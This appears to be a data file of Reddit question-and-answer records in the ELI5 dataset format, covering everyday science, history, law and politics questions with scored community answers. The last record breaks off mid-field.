{"q_id": "9jokc9", "title": "why is the ceo of tesla getting sued? i don\u2019t understand why what he said was criminal.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9jokc9/eli5_why_is_the_ceo_of_tesla_getting_sued_i_dont/", "answers": {"a_id": ["e6t0rei", "e6t0u40", "e6t14hd", "e6t16pq"], "score": [7, 4, 4, 3], "text": ["Tesla is publicly traded, meaning that Tesla, its executives, and its board members have to follow certain rules set in place by the SEC. By tweeting out \"we're going to take Tesla private at $420\" he said \"You better buy up shares of Tesla right now, because soon someone will buy them off you for $420 per share\"\n\n & #x200B;\n\nThe thing is, he announced this without anything being made official. Other Tesla executives had no input into this announcement, no legal contracts were signed, nothing. Perhaps unintentionally, but definitely recklessly, a head of the company stated a lie that caused their stock price to skyrocket. That's illegal.", "Simple explanation; Tesla is a \"Public\" company, so everything they do financially has to be reported to the public and be readily available.  Musk went on Twitter and deliberately lied about having enough financial backing to take his company private, which unfairly and illegally affected the stock price.  Using lies and intentionally deceiving the public in order to affect your stock price is a big no-no.  He'll be lucky if he doesn't end up in jail. ", "It's not criminal, if it were he would be arrested.\n\nLawsuits are civil matters.\n\nThe SEC is accusing Elon of making misleading statements on Twitter regarding his intention to buy out more of the Tesla Motors stock, and are seeking to have him removed as CEO.\n\nWhile the heart of the lawsuit is an accusation of a crime (fraud), they don't have enough to prove that in a criminal court. But they do feel they have enough for a civil court.\n\nBecause of the risks involved with having a CEO of a publically traded company willing to commit fraud, the SEC is given the authority to try and remove people from such positions without resorting to prosecution.\n\nThey just can't do it with a word, it requires a lawsuit.", "Investors rely on the public statements made by corporations and their officers to make financial decisions.  Because of this, any such statements will affect the price of a company's stock, and by virtue of that will have a significant financial impact on investors.\n\nTo create a \"fair\" playing field for investors, there are a significant number of regulations that restrict what corporations, and their officers, can do or say.  One of those regulations requires that corporations, and their officers, must tell the truth when making any public statements concerning their company.\n\nElon Musk confirmed that he was going to be taking Tesla private at a share price of $420.  The current SEC allegations are that Musk was aware that doing so was impossible, and that he sent the tweet because he thought his girlfriend would think the 4/20 reference was funny.\n\nIf, in fact, Elon Musk had not \"secured\" funding to take Tesla private at $420 per share at the time that he made that tweet, then he would not have been telling the truth in a public statement that he made about Tesla, which would be illegal for him to do given his capacity as CEO of the company."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "48h7ab", "title": "why do we still force students to attend lectures when we can just record everything and put it on youtube?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48h7ab/eli5_why_do_we_still_force_students_to_attend/", "answers": {"a_id": ["d0jh3gv", "d0jhboe", "d0jj91b", "d0job9y"], "score": [33, 8, 3, 2], "text": ["Ideally, a lecture is participatory--the professor adapts based on the level of understanding of the class, answers questions, and perhaps even moderates a debate. If your professor only reads prepared text, it's just him that's not doing very well.", "A few thoughts:\n\n1. Attendance on its own level builds good habits. If you could just review the lecture whenever, you might build bad habits of putting off work to the last minute even more than college students already do. But, I do think it's not a bad idea to have it recorded for review purposes. Most jobs in the \"real world\" expect your attendance at all times, and on time.\n\n2. Some lectures have interactive elements - people asking questions, the professor asking questions of the class, etc. If your only source of the lecture was online, you may unable or less able to ask questions and get them answered.\n\n3. Having classes with students physically in them encourages social interaction and collaboration. These are good skills to learn as well.", "Some more technically savvy colleges and universities have online courses which are basically like what you describe.", "It takes 2 hands to clap.\n\n\nThese 2 hands are the student and the prof.\n\n\nA good prof can observe the students and adjust on the fly. They help students do critical thinking and guide their potential.   \n\n\nA good student will avoid asking nonsense or just take photos of solutions with their smart phone camera. They dig into the concept and challenge new ideas. \n\n\nUnfortunately most prof and students are too educated but not wise. Sadly, that is the failure of education. Profs want their student to score well. Student just want to get good credits. They both minmax their way to optimize results. This is an exploitation due to the final examinations being inefficient in fully able to categorize smart students or muggers.  \n\n\nFinally in worklife. People just want results. XX % growth in Q4 etc. Bosses and investors do not care about anything but results. This is a society problem in all, and it all begins in EDUCATION. \n  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1opi58", "title": "Does the colour of a gas depend on the scattering of light?", "selftext": "The sky appears blue because the atmosphere scatters the 'blue' part of the spectrum easily. Does this mean that the color of a gas depends upon the part of the spectrum that it scatters? What about solids?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1opi58/does_the_colour_of_a_gas_depend_on_the_scattering/", "answers": {"a_id": ["ccua9j4"], "score": [4], "text": ["It takes a *lot* of gas to scatter enough to get a visible change in colour. That's a whole atmosphere's worth up there.\n\nWhat has a much greater effect is the wavelengths of light that the gas *absorbs*. \n\nFor example: [here is the absorption spectrum for NO_2](_URL_1_). It absorbs a lot of light in the blue end of the spectrum (400-~500ishnm) and UV ( < 400nm), but not so much towards the red end (up to 700nm). The net result is that it appears a kinda brown colour, [like this](_URL_0_) (Yep, it's a major component of smog).\n\nAnd it's a similar deal for solids. The compounds that make up coloured solids (and liquids, for that matter) can absorb some wavelengths, and then we see the wavelengths that remain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://img.webmd.com/dtmcms/live/webmd/consumer_assets/site_images/articles/health_tools/most_polluted_cities_slideshow/getty_rm_photo_of_smog_in_los_angeles.jpg", "http://www.patarnott.com/atms749/images/NO2Absorption.gif"]]}
{"q_id": "ctxe6q", "title": "why do eggs get cold on my plate faster than meat?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ctxe6q/eli5_why_do_eggs_get_cold_on_my_plate_faster_than/", "answers": {"a_id": ["exorc8a", "exorcvw"], "score": [5, 5], "text": ["Well, eggs and meat are two very different substances with very different properties. Eggs are a substance that tends to give into temperature change more readily, whereas meat is a substance that tends to resist temperature change. A useful metaphor for this is looking at thermal paste (likes heat transfer) and water (is slow to change temperature). \n\nAnother factor that may come into play is that of surface area. If you have a sunny side up egg with roughly half of it's surface area touching the relatively cold plate and a sausage with only a small \"line\" of its surface area touching the plate (only because I can't imagine anyone eating a steak and eggs in the same meal), the egg will have more surface area with which to transfer heat with the plate.", "Meat is far more dense than an egg.  Dense objects tend to hold in heat more efficiently than less dense ones."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qkhpb", "title": "Can Lagrangian Points become \"full\" of objects? How many satellites can you fit?", "selftext": "I came across this [list of objects at Lagrangian Points](_URL_0_) while wondering if a point can be \"occupied\" by satellites. Technically, isn't each point ONE POINT that a satellite can rest at? Are multiple satellites kept at an L-point by regular stationkeeping?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qkhpb/can_lagrangian_points_become_full_of_objects_how/", "answers": {"a_id": ["c3yaq8w", "c3ydbn4", "c3ye4u1"], "score": [16, 3, 3], "text": ["There are 5 Lagrangian Points. See [here.](_URL_0_)\n\nThe points L1, L2, and L3 are unstable equilibrium, so you would have to have the center of mass of any objects at these exact points, otherwise the object(s) not stay there. You could theoretically have multiple objects at one of these points as long as each of their center of mass was in the exact Lagrangian point (think a solid marble, and also a seperate hollowed sphere around it).\n\nL4 and L5 are both stable equilibrium, so if something was displaced slightly from the equilibrium, it would begin to orbit the Lagrangian point.  So you could have much more objects stable at these areas (although they technically are not \"on\" the point), as long as they were of negligible mass compared to the two main bodies of the system.\n\nI find this all very interesting, it's currently the subject of my Physics Senior Thesis, if you have any questions I would do my best to answer them for you.", "No satellites sit directly in an exact lagrangian point, they all orbit in \"halo orbits\" around the points. In general the volume around a lagrangian space where it is feasible to make use of the features of the point is quite large enough to accomodate a huge number of craft. The problems that will occur before the areas of the points fill up physically is that you start getting issues of light/heat/radio pollution, but we're a far way from even that today.", "The distribution of the two Trojan Asteriods groups in Jupiter's orbit are each spread out over several hundreds of millions of kilometers, a rather considerable volume. There is an esitmated 100,000 of them, only counting those which are over 2 km in size.\n\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/List_of_objects_at_Lagrangian_points"], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/thumb/e/ee/Lagrange_points2.svg/330px-Lagrange_points2.svg.png"], [], []]}
{"q_id": "1eweon", "title": "[meta] okay, this sub is slowly turning into /r/answers.", "selftext": "Questions here are supposed to be covering complex topics that are difficult to understand, where simplifying the answer for a layperson is necessary.\n\nSo why are we flooding the sub with simple knowledge questions? This sub is for explaining the Higgs Boson or the effect of black holes on the passage of time, not telling why we say \"shotgun\" when we want the passenger seat in a car.\n\n**EDIT:** Alright, I thought my example would have been sufficient, but it's clear that I need to explain a little.\n\nMy problem is that questions are being asked where **there is no difference between an expert answer and a layman answer.** In keeping with the shotgun example, that holds true-- People call the front passenger seat by saying 'shotgun' because, in the ages of horses and carts, the person sitting next to the one driving the horses was the one armed to protect the wagon. There is no way for that explanation to be any more simple or complex than it already is. Thus, it has no reason to be in a sub built around a certain kind of answer in contrast to another.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1eweon/meta_okay_this_sub_is_slowly_turning_into_ranswers/", "answers": {"a_id": ["ca4ew0x", "ca4ewht", "ca4fap3", "ca4fvql", "ca4fz0u", "ca4g5c7", "ca4g78u", "ca4geyn", "ca4gl1q", "ca4gxfk", "ca4h10n", "ca4h98b", "ca4he64", "ca4hq2q", "ca4i1wd", "ca4i4pu", "ca4i6zb", "ca4j1zi", "ca4j71m", "ca4jomn", "ca4jut5", "ca4jzjd", "ca4kbsc", "ca4kkkd", "ca4krcy", "ca4ktf4", "ca4l4dy", "ca4m0no", "ca4m93p", "ca4men3", "ca4nbmu", "ca4ndek", "ca4p70k", "ca4p9t8", "ca4qxwz", "ca4uaet", "ca4ucwf", "ca4ud56", "ca4yf49", "ca4z6vk", "cd52e4k"], "score": [65, 14, 1030, 7, 5, 9, 138, 10, 34, 3, 36, 4, 2, 5, 23, 2, 6, 2, 3, 3, 2, 9, 3, 2, 4, 28, 3, 3, 4, 2, 3, 3, 2, 2, 3, 2, 3, 2, 2, 3, 2], "text": ["Every so often a truly ELI5 question will come up, but fact is, especially if you search first, a lot of those types of questions have been asked/answered already. Those that have been answered already that get posted again typically get downvoted and ignored (I'm looking at you israel vs. palestine).\n\nSo what's left? Let the sub die? Or be more lax on the type of questions that get answered, and still help people who have trouble understanding something. \n\nI do notice that with the overly obvious questions, there tend to be few responses/lots of downvotes, or comments on how easy it is to google that answer, so at least the redditors of this sub are policing it to some extent.", "True. (And a much more valid complaint that \"you're not explaining it like I'm 5\"!)\n\nDoes it matter though? Personally, I'm not too bothered. There are more people here than /r/answers, so you're more likely to get an answer. And I enjoy reading, and sometimes writing, answers to both styles of question. But I do agree that it's not what the sub is strictly for.", "Yep.\n\nSomehow I feel that if I try asking for someone to ELI5 what an Ergative Absolute language is (honestly, someone mind helping me?), I'll just get downvoted in favor of something like \"ELI5 why I am required to wear a seatbelt by law even though it affects no one but me?\"  You know, a question that we mods have to give the benefit of the doubt to, but we know is just a thinly-vielled soapbox question.  Or something really trivially easy that people can just google, or something trivially...dumb, I guess?  A lot of completely opinion-based ones that essentially boil down to \"Why do people like X?\" or \"Why DON'T people like X?\" or \"Why do people find X so Y?\"  Or \"Why is not acceptable/not acceptable to X?\" And so on.\n\nIt's kinda turning away from being a place where you can see really simple explanations for *complex topics that you could never quite grasp*, and towards more...generic bullshit.\n\nIt's difficult for us mods to do anything about it.  To strike a good balance.  There is also an amount of disagreeing within the mods themselves.  Personally, I think a good solution would be to require people to specify what exactly they found confusing.  This would drive home the point that this is supposed to be a place for *things you could never quite wrap your head around*, or for things where you can't separate the important stuff from the unimportant fluff.  \n\nBut such a solution wouldn't be necessarily easy to execute.\n\nTo be fair, there have been some good ELI5's today.  Tornados, black holes, DNA, macroeconomics, etc.  They just don't get any upvotes or responses.\n\nEDIT: Just to make it clear, I am, actually, a bit pro-heavy moderation.  ", "I think a bigger problem is people not using the search feature, I'm about to go into a meeting so I can't look now but I bet the vast majority of the posts on the first page have been answered before.", "ELI5: What [META] means\n\nELI5: How to google simple questions", "ELI5: Quantum Mechanics", "Maybe ELI5 should launch an awareness campaign based on getting a larger community into /r/answers", "Time for /r/trueELI5", "I got downvoted every time I'd mention this so I just gave up and barely pay attention to the sub anymore. Kudos to you sir for bringing it to light. ", "can this be stickied?", "what do you mean \"slowly\" and \"turning into\" - it's there :(", "I was totally ok with it because it answers the questions that are too narrow for /r/askreddit. But now that I know /r/answers is a thing, I'll definitely be going there. We should sidebar a link to it.", "There's obviously going to be quite a bit of overlap between \"ask questions that you want a really simple answer to\" and \"ask questions that you want answered\". It's certainly possible to moderate hard enough to filter out the latter, but you'd have to ask yourself if it's worth coming down on the posters like that.", "not gonna lie. ive been thinking of unsubbing because there have been a lot of really basic and dumb questions in my feed for the last few weeks.", "*Slowly?* This sub has been a piece of work for at least the last year and a half. It's really down to poor moderation, because we need people to understand this sub is for answers to be broken down into simpler components, NOT for answers to be given. Delete a post if it isn't ELI5 worthy. ", "I assumed from the upper left corner this sub was supposed to cover the complex process of making pigs into bacon. ", "THANK YOU, I think it's because /r/answers isn't publicized enough.", "I think the sub would benefit with something stickied along the lines of \"**If you came here ask a question about something you saw on the front page, sort by new, because someone just asked.**\"  This would cut down on the numbers of questions about [tornados](_URL_2_), [the IRS scandal](_URL_3_), and [Benghazi](_URL_5_).  Or in the recent past when it was all [Bitcoins](_URL_1_), [North Korea](_URL_4_), and [Margaret Thatcher](_URL_0_).\n\nAlso, would it be too much to ask that we put an end to questions about the poster's own body where the answer is \"If you really care that badly, just ask your doctor.\"  I'm talking questions along the lines of **ELI5: What is this tingling feeling I get in my balls when I'm listening to bass-heavy music on my wireless headphones and I hold my breath and close my eyes and spin around in a circle counter-clockwise?**\n", "I know sje46 already commented.  But I just want to put my two words in as another mod in respectful disagreement.\n\nThe problem is that if you only allow \"questions about things you never quite were able to grasp\" you have two problems.\n\n1. How do you differentiate those?  Like is \"ELI5: the executive branch of the US government\" okay or not?  What if it has follow up, what if it doesn't?  Moderating with a heavy hand has ALREADY pissed off a lot of people.\n\n2. If we ALSO remove duplicate questions (as is **frequently demanded of us**) what do we have left?  How many things really fit the requirements once those are all addressed?\n\nI think the simplest solution is to hide the questions you're uninterested in, report blatant problems (ELI5: why are democrats so stupid), massive duplicate questions (ELI5: bitcoin) and for everything else, assume the asker really doesn't understand, and could use a simple explanation.\n\nIn short... **I don't things are that bad**.  It feels a lot like when I started here, just at a greater volume.  If the community wants this subreddit to become more like /r/askscience, then perhaps we need to address that.  I'm not convinced it's valuable though, especially with the intentionally informal type of answers we have here.", "/r/reinforcemyviewpoint . /r/loadedquestion", "And by slowly you mean rapidly", "Beyond that, a lot of the top voted answers don't even go to any effort to deeply simplify the answer. They use big words, load up with detail (or skip over crucial details), etc. And some of them suffer massively from tl;dr. These answers would be fine for /r/answers but miss the point of this sub. \n\n", "I think you're absolutely right, even if it means there are less posts.", "I think the best way to handle this would be to take the simple questions that don't really belong, and dumb down the answers to the point of condescension.", "Maybe we should create a new sub called /r/explain", "ITT: Mods don't want to moderate. ", "Just ban some people.\n\nThat will make the idiots shiver in fear and the contemplate on their actions.\n\n", "I agree. The post that brought me to this subreddit was made bestof and was an in-depth explanation of economy and how currency works. I want to see more things like that.", "THANK YOU! The entire point of this sub is to explain simple topics using language, priciples and analogies a 5-year-old would understand, to be both informative and fun. Unfortunately if you try to point this out you get told to stop taking things so literally. I gave up trying months ago and just unsubscribed.", "And nobody explains anything  in terms a 5yr old can understand anymore. ", "I think stricter moderation is the only thing that will increase the quality of questions.  Remove reposts, remove low-effort questions.  Unfortunately, ELI5 is too large to self-correct at this point.", "Just gonna give a shoutout to /r/nostupidquestions for stuff like that. ", "Slowly?  It kind of already is.  Super-simplified answers are never at the top of the comments when sorted by \"best\".  I notice a lot of proper answers being downvoted in favor of more complex ones with higher than 5 year old language.  It's still a very useful sub either way, but....might as well change the title now guys.", "I think it's simply that /r/explainlikeimfive gets about 5 or 10 times more traffic than /r/answers. \n\nI'm more of a question answerer. Every once and awhile I get in the mood to answer some questions. I go to /r/answers and there were 4 or 5 questions posted in the past 3 hours. It's not a very popular subreddit. But then I come to /r/explainlikeimfive and people post questions every few minutes at the right time of the day. I am more inclined to answer questions when I have more to choose from, and questions that I can actually answer. \n\nI would imagine that it's the same for question askers. People will come to ask questions at a subreddit with more traffic. So they come here. And honestly, I'm ok answering questions that might not fit the exact qualifications. Sometimes when you google something, it's hard to get a simple answer. So I'm cool answering questions about topics that might not be that complex if I feel like I can explain them simply. \n\nHowever, some questions are just stupid. There are questions that have been asked a billion times before, and people are too stupid to search for their question first. There are also questions about very opinion-based topics or simply just stupid questions. \n\nSo basically I think stupid questions, questions that have been asked many times before, and questions that are hard to answer objectively should be removed. All other questions are fine. ", " > slowly\n\n?\n\nThis sub maintained it's original purpose for about 2 months before it turned into people answering to 5 year olds with their PHD dissertations and on the other hand people asking really stupid questions that they could google, but instead posted for attention.\n\nEvery once in a while, I see a good question, with a good simple answer, but pretty rare.", "I just thought that I've been underestimatimg 5 year olds. ", "Finally someone says it! I think the reason his happens is because barely anyone is on /r/answers, so they go here instead. /r/answers needs more subscribers", "Yeah, it's turning into yahoo answers. The same thing is happening to /r/askhistorians. It used to be serious questions, now it sounds like a role playing game \"If I had big boobs and liked ice cream, how hard would I find it to get laid in ancient Rome\", or \"I'm a hipster in ancient Greece, what beer would I find cool\"", "And not to mention that people don't answer in a way that a five year old could understand. ", "The mods should just ban gore and see if that helps.", "I suggest we remove the \"not for literal 5 year olds.\" I say it is essential to pretend to answer to literal 5 year olds to truly distinguish expert and layman."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/search?q=margaret+thatcher&amp;restrict_sr=on&amp;sort=new&amp;t=year", "http://www.reddit.com/r/explainlikeimfive/search?q=bitcoins&amp;sort=new&amp;restrict_sr=on&amp;t=year", "http://www.reddit.com/r/explainlikeimfive/search?q=tornados&amp;restrict_sr=on&amp;sort=relevance&amp;t=all", "http://www.reddit.com/r/explainlikeimfive/search?q=IRS&amp;sort=new&amp;restrict_sr=on&amp;t=month", "http://www.reddit.com/r/explainlikeimfive/search?q=North+Korea&amp;restrict_sr=on&amp;sort=new&amp;t=year", "http://www.reddit.com/r/explainlikeimfive/search?q=benghazi&amp;restrict_sr=on&amp;sort=new&amp;t=month"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5mv8cx", "title": "How different were East Asian/European reactions between the discovery of the other side of the old world, and the discovery of the new world. Did the world become \"used to\" discovery in the intervening 1500 years?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5mv8cx/how_different_were_east_asianeuropean_reactions/", "answers": {"a_id": ["dc6z8gn"], "score": [3], "text": ["I don't think East Asia really cared about any discoveries other than the tons of Gold the Spanish found in the New Continent. They shipped a large part of it to the Ming Dynasty to trade for silk, porcelain, etc and the Ming Dynasty was all too happy to swallow up all this silver that seemingly appearted from thin air. But this then led to massive inflation for the Ming after the hording of silver so the government decided to \"Seal the Sea\" so merchants weren't allowed to leave with few places available for trade."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1m9k5x", "title": "In the wild is there a general ratio between predator population size and its preys population size?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1m9k5x/in_the_wild_is_there_a_general_ratio_between/", "answers": {"a_id": ["cc73dyh"], "score": [6], "text": ["There is no ratio between a predator's population size and the population size of it's prey that applies generally to all predator-prey systems. This is because the ratio of predators' biomass to that of their prey is known to vary greatly between ecosystems. \n\nFor example, in forest ecosystems often there is a very small ratio of predator-to-prey biomass (meaning a lot of prey biomass relative to predator biomass) because forests have large amounts of plant matter that is difficult for herbivores to consume. This creates a pyramid-like pattern of biomass where each step up in the food chain has less biomass, such that primary producers (plants) have much more biomass in an ecosystem than herbivores, which in turn have more biomass than primary consumers (consumers that eat herbivores). However, in many aquatic environments, predators can have more biomass than their prey, creating an 'inverted pyramid' pattern of biomass where the biomass of phytoplankton at any given time is less than that of the herbivorous organisms that consume them. This is because the phytoplankton that act as primary producers in the system reproduce extremely fast and have relatively short lifespans. \n\nOne pattern that is well established is that less energy is available for each increased level in a food chain. This is because some energy is always lost between trophic levels. It is sometimes suggested that about 10% of energy from one trophic level makes it to each subsequently higher trophic level, but this is not true in all cases. \n\nIf you want to learn more, I recommend you read about biomass pyramids and productivity pyramids (both of which may also be referred to as ecological pyramids or trophic pyramids) as well as trophic efficiency (also called biomass transfer efficiency in some cases).\n\nAlso, it should be noted that predators can influence the population size of prey, and prey can influence the population size of predators. Read about predator-prey dynamics to learn more about this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "11kzhu", "title": "simpson-bowles commission", "selftext": "I'm sure it will come up again in tonight's debate. Both Obama and Romney have said that they support the ideas behind it, but haven't elaborated. From what's I've seen, it looks more like what Romney is proposing than what Obama is.  \n\n\nI've read the [wikipedia article](_URL_0_) on it and have a general idea of what it was, **but not what it proposed.** \n\n\nSpecifically, I want to understand how it proposes to:\n\n-reduce tax rates\n\n-eliminate deductions\n\n-reform entitlements \n\n-cut domestic spending\n\n\nAnd I know - for a five year old, I certainly am asking a complicated question. \n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/11kzhu/eli5_simpsonbowles_commission/", "answers": {"a_id": ["c6ndr7l"], "score": [2], "text": ["The simpson-bowles commission was created by the President under the idea of creating a bi-partisan budget plan for reducing the national debt (or at least putting us on a track to reduce it). The idea of Presidential commissions are pretty straight forward:\n\n1. The President has an issue he needs to tackle that's politically charged\n2. The President then creates an independent commission made of smart people from various political backgrounds. \n3. The commission produces a plan or recommendation on how to proceed.\n4. Everyone in congress (and the President) agree to support the plan, thus sharing the blame and the credit for the political consequences.\n\nOne important thing to clarify about the simpson-bowles commission is that they never **formally** endorsed any plan. They drafted a plan that got 11 out of 18 votes, and the commission was later disbanded. There are some good ideas in the plan, but the fact that they were unable to formally endorse their own plan is a clear sign of the divisions that still remain in it's structure and content."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/National_Commission_on_Fiscal_Responsibility_and_Reform"], "answers_urls": [[]]}
{"q_id": "3lsncc", "title": "why was hitler once chosen as time's man of the year?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3lsncc/eli5_why_was_hitler_once_chosen_as_times_man_of/", "answers": {"a_id": ["cv8x0no", "cv8x5wq", "cv8zgi6", "cv926qd", "cv952y8"], "score": [49, 152, 4, 18, 9], "text": ["Because he was seen as the most influential man of the year, for good or bad.  It's not Man of the Year for being awesome.  This is why they were going to choose Bin Laden until everyone thought they were supporting him.", "Time Magazine often points out that \"Man of the Year\" is more about impact, notoriety and newsworthiness, rather than doing anything admirable.  It's not a sign of good or bad, just of being noteworthy.\n\nIn 1938 Hitler was chosen because of the unification of Germany and Austria in that year (or perhaps more accurately annexation of Austria by Germany).  He was followed in 1939 by Stalin, who brokered a peace treaty with the Nazis before quickly being sucked into war in Poland.  \n\nIn 1979 Ayatollah Khomenii was \"Man of the Year\" in the wake of the Iranian Revolution. \n\nSo there have been a few controversial ones. ", "Because, while his goals and some of the things he did were terrible, he was extremely charismatic and was great at what he did. Hitler was a bad man but a genius at the same time.", "A lot of people forget that whilst Hitler did go off the rails and commit a wide array of war crimes, Before that he served for his country, was hospitalised as a result, then came home to begin his career which resulted in bringing Germany back from the brink of absolute economic collapse. He also brought about the creation of (I believe the VW Beetle?), a car designed specifically so that Every Working Man could own a car.\n\nYeah, he was a dick. But for a while he was a bloody good politician, exceptionally charismatic, and a very clever man. Before the war, it was easy to see him being Man of the Year.", "A lot of these comments are about well he was man of the year before we knew how bad he was. \n\nWell the thing about Time is you can read why:\n\n_URL_0_\n\n\n > F\u00fchrer of the German people, Commander-in-Chief of the German Army, Navy  &  Air Force, Chancellor of the Third Reich, Herr Hitler reaped on that day at Munich the harvest of an audacious, defiant, ruthless foreign policy he had pursued for five and a half years. He had torn the Treaty of Versailles to shreds. He had rearmed Germany to the teeth\u2014 or as close to the teeth as he was able. He had stolen Austria before the eyes of a horrified and apparently impotent world."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://content.time.com/time/magazine/article/0,9171,760539,00.html"]]}
{"q_id": "5armof", "title": "please explain elements, compounds and molecules as simple as possible please!", "selftext": "I'm in a total mindf**k right now. Can someone please explain the three things mentioned in the title as simple as possible? Thanks in advance!\n\n\nEDIT: Also do compounds have to have two or more different atoms, or elements?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5armof/eli5_please_explain_elements_compounds_and/", "answers": {"a_id": ["d9ipy5g", "d9iq23e"], "score": [4, 2], "text": [" > elements\n\nA specific atom, or a pure grouping of one type of atom.\n\n > molecule\n\nTwo or more atoms joined together by chemical bonds.\n\n > compound\n\nA molecule consisting of two or more elements.", "Atoms are the basic building blocks of the universe. They are made up of protons, neutrons, and electrons.\n\nElements are substances made from a single type of atom.\n\nMolecules are multiple atoms bound together.\n\nCompounds are a special type of molcule made up of atoms of different elements."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a55kkx", "title": "Do monks who take vows of silence lose muscle tone in their tongue? If so, what are some consequences of this and what would happen if they ended their silence?", "selftext": "Edit: A lot of comments are getting removed for saying no because they eat every day. That's my fault for not expanding my question. I'm aware that eating every day keeps your tongue from being a complete blob, what I was more curious about is if there would be any problems speaking from taking a vow of silence? Whether it be due to the tongue being weaker than what it was when they started so they slur their words or if it has become an unfamiliar movement and the tongue needs to relearn how to accurately pronounce words. My apologies for not being more clear.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a55kkx/do_monks_who_take_vows_of_silence_lose_muscle/", "answers": {"a_id": ["ebkmubb", "ebkmyf5", "ebkorc8", "ebkuew3", "ebotzsf"], "score": [92, 12, 8, 3, 2], "text": ["As long as one can eat with their mouth, the tongue will maintain their muscle tone so to speak(pun not intended).  What can diminish due to not speaking are the laryngeal muscles.  Without them, the vocal cords can't contract to produce sounds.  There was a famous case in China of a man who lost his voice after not speaking for 12 years.\n\n_URL_0_", "The tongue is not what makes the sound when you speak: it just modulates it.  And you exercise your tongue thoroughly when eating, for instance, or drinking.  (I.e. it doesn't just sit there like a slab that's being dragged around your mouth..)\n\nAs for the vocal cords, maybe just a little.  But coughing, etc., also gives them a workout.\n", "In addition to other replies, the vow of silence is not \u201cone size fits all\u201d.\n\nSome communities have a hard vow where they don\u2019t talk at all. Others have a softer version where they discourage most idle chit-chat but it\u2019s still ok to have occasional conversations between members. Some only have a vow of silence during certain times of the day. In addition, many communities would still pray and/or sing out loud several times a day. So the likelihood that a member\u2019s vocal cords would lose tone to a problematic degree is very unlikely. \n\nETA regarding your edit: if someone were to take a hard vow of silence and get absolutely no practice making the sounds of their language for a very long time, then it *is* entirely possible for them to lose the muscle memory that allows the articulators (tongue, lips, glottis...) to hit the exact right movements to make the right sounds. They wouldn\u2019t be unintelligible if they tried speaking again after a few years, but they would sound rusty for a few days/weeks. Kind of like someone who hasn\u2019t practiced their second language in a while. You would mostly notice it in the vowels, because those are more fluid and the tongue needs to make very precise movements to modulate the voice correctly. You probably wouldn\u2019t notice it in the consonants at all as those are simple discreet movements.", "I'm also curious about this might affect other facial muscles and potentially the overall face shape. I've gone through periods of speaking predominately a separate language than English, and I thought that my face shape changed a little bit over time due to different muscles I was using more or less of while speaking this other language.  I know there is research out there that suggests that the language we think in, changes HOW we think, but I'm also curious if the language we SPEAK might change how we LOOK! ", "I did one month without talking, and I can confirm it was physically difficult to talk at the end of it.\nMy voice came out tiny and soft. It took maybe an hour for it to come normal again. I'd guess people who don't talk for years may have real problems!\n\nThis was when I was on retreat in a Buddhist monastery near Perth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.telegraph.co.uk/news/2017/12/25/suspected-murderer-evaded-capture-12-years-pretending-mute-loses/"], [], [], [], []]}
{"q_id": "1ete2d", "title": "warren v. district of columbia. (in relation to the oregon story on the front page) how is it accepted that the police do not have an obligation to help you? what, then, are they for?", "selftext": "[Reference](_URL_1_)\n\n[Comment that led me to be dumbfounded](_URL_0_)\n\nHow did they arrive at that decision? How is it okay that the police aren't obligated to respond to emergency calls? How did this decision NOT get appealed to the Supreme court?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ete2d/eli5_warren_v_district_of_columbia_in_relation_to/", "answers": {"a_id": ["ca3k9g1"], "score": [20], "text": ["It doesn't say that police aren't obligated to respond to emergency calls. They are.\n\nIt says that they are not obligated to you, as an individual, to respond to your emergency call. \n\nWhat's the difference? The difference is in what happens when they screw up, as they did in the case of Warren v D of C. \n\nIf they're not obligated to individuals, then screwups face internal discipline, whatever that might be, or (I think) criminal charges if they screw up very badly.\n\nIf they were to be obligated to individuals, then the individuals could *sue* them for not performing their duty, because they failed in their duty *to that individual.* EDIT: In other words, it would become a private matter between the individual on the one hand and the police on the other.\n\nAnd as bad as the case in question was, I seriously doubt that adding literally millions of lawsuits to the criminal justice system (which is what would happen) would mean faster responses. It would, rather, mean more resources going to fighting lawsuits and paying when they're lost, and fewer resources left to actually respond to calls."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/news/comments/1esuom/oregon_woman_calls_911_to_say_her_exboyfriend/ca3gmf2", 